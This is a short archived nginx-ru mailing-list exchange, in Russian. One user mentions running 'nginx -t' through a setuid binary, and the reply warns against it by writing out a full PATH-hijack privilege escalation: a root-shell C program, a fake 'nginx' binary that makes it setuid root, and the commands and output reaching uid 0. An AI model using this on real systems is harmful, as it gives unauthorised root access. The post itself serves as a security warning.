ПРОЕКТЫ
АРХИВ
nginx-ru @sysoev.ru
СТАТЬИ
ПЕРСОНАЛЬНОЕ
ПРОГРАММЫ
ПИШИТЕПИСЬМА
Andrei Nigmatulin wrote:
Хотя, для себя я проблему решил - setuid binary, исполняющий "nginx -t" ;-)
Гхм.. не советую;) а потом кто-то сделает так: cat>sh.c<<EOF #include <sys/types.h> #include <unistd.h> main() { setuid(0); setgid(0); system("/bin/sh"); } EOF cat>nginx.c<<EOF #include <sys/types.h> #include <unistd.h> main() { system("/bin/chown root:root /tmp/sh;/bin/chmod +s /tmp/sh"); } EOF gcc -o sh sh.c gcc -o nginx nginx.c export PATH=`pwd` vash_setuid_binary & export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ./sh # id uid=0(root) gid=0(root) groups=0(root) и никаких переполнений буфера 8) -- Best regards, Kirill, http://www.Fedora-Hosting.com
Copyright © Lexa Software, 1996-2009.